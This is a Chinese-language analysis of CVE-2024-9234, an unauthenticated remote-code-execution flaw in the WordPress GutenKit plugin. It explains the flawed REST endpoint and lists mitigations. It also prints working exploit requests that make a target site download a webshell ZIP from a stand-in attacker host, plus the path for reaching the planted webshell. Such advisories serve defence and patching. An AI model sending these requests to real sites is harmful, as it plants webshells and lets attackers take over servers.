Wordpress_GutenKit插件Rce-CVE-2024-9234分析
字数 1384 2025-08-22 12:23:06
WordPress GutenKit插件RCE漏洞分析 (CVE-2024-9234)
漏洞概述
GutenKit是WordPress的一个页面构建器插件,用于Gutenberg块编辑器。在2.1.0及以下版本中存在一个严重的安全漏洞,允许未经身份验证的攻击者远程执行代码(RCE)。
漏洞影响
- 影响版本: GutenKit插件2.1.0及以下所有版本
- 漏洞类型: 任意文件上传导致远程代码执行
- 攻击复杂度: 低
- 权限要求: 无需认证
- 影响程度: 高危
漏洞环境
受影响环境
- WordPress安装GutenKit插件且版本≤2.1.0
- PHP版本7.4及以上
- 测试环境验证版本: WordPress 6.7.1
漏洞分析
漏洞位置
漏洞位于插件文件gutenkit-blocks-addon/gutenkit-blocks-addon.php中的install_and_activate_plugin_from_external()函数。
漏洞成因
- 功能检查缺失: 该函数(对应
install-active-pluginREST API端点)缺少必要的权限检查 - 参数可控: 函数接受两个可控参数:
plugin: 指定要下载的插件ZIP包URLslug: 指定插件解压后的目录名
- 直接调用: 该函数注册了REST API路由,可通过HTTP请求直接调用
- 文件下载: 使用WordPress核心函数
download_url()下载指定URL的文件
攻击流程
- 攻击者构造恶意ZIP包(包含Webshell)并托管在可控服务器
- 向目标站点发送精心构造的POST请求
- 目标站点下载并解压恶意ZIP包到插件目录
- 攻击者访问解压后的Webshell执行任意代码
漏洞复现
复现步骤
- 准备一个包含Webshell的ZIP压缩包
- 将ZIP包托管在攻击者控制的服务器上
- 向目标站点发送以下请求之一:
方法1: JSON格式
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: vulnerable-site.example.com
Content-Type: application/json
Content-Length: 114
{
"plugin": "https://attacker.com/malicious-plugin.zip",
"slug": "malicious-plugin"
}
方法2: Form格式
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: vulnerable-site.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
plugin=https://attacker.com/malicious-plugin.zip
- 虽然响应可能显示"The plugin directory does not exist after unzipping",但恶意文件可能已上传
- 访问上传的Webshell:
https://vulnerable-site.example.com/wp-content/plugins/malicious-plugin/webshell.php
官方PoC示例
POST /wp-json/gutenkit/v1/install-active-plugin HTTP/2
Host: wpscan-vulnerability-test-bench.ddev.site
Content-Type: application/json
Content-Length: 114
{
"plugin": "https://downloads.wordpress.org/plugin/popularis-extra.1.2.6.zip",
"slug": "popularis-extra"
}
防御措施
临时缓解方案
- 立即禁用或卸载GutenKit插件
- 检查
wp-content/plugins目录是否有可疑文件 - 更新服务器和网站的安全配置
永久解决方案
- 升级GutenKit插件到最新安全版本(2.1.0以上)
- 实施Web应用防火墙(WAF)规则阻止相关攻击
- 限制WordPress REST API的访问权限
技术细节
漏洞函数分析
function install_and_activate_plugin_from_external($request) {
// 缺少权限检查
$plugin = $request->get_param('plugin'); // 可控参数
$slug = $request->get_param('slug'); // 可控参数
// 下载指定URL的插件包
$download = download_url($plugin);
// 解压并安装插件
// ...
}
攻击限制
- 需要目标服务器能够访问攻击者控制的URL
- 上传的文件必须符合WordPress插件的基本结构(至少包含一个PHP文件)
- 解压后的目录名由
slug参数控制
总结
CVE-2024-9234是一个严重的未授权RCE漏洞,允许攻击者通过WordPress REST API上传并执行任意代码。由于攻击门槛低且影响严重,所有使用GutenKit插件的网站应立即采取防护措施。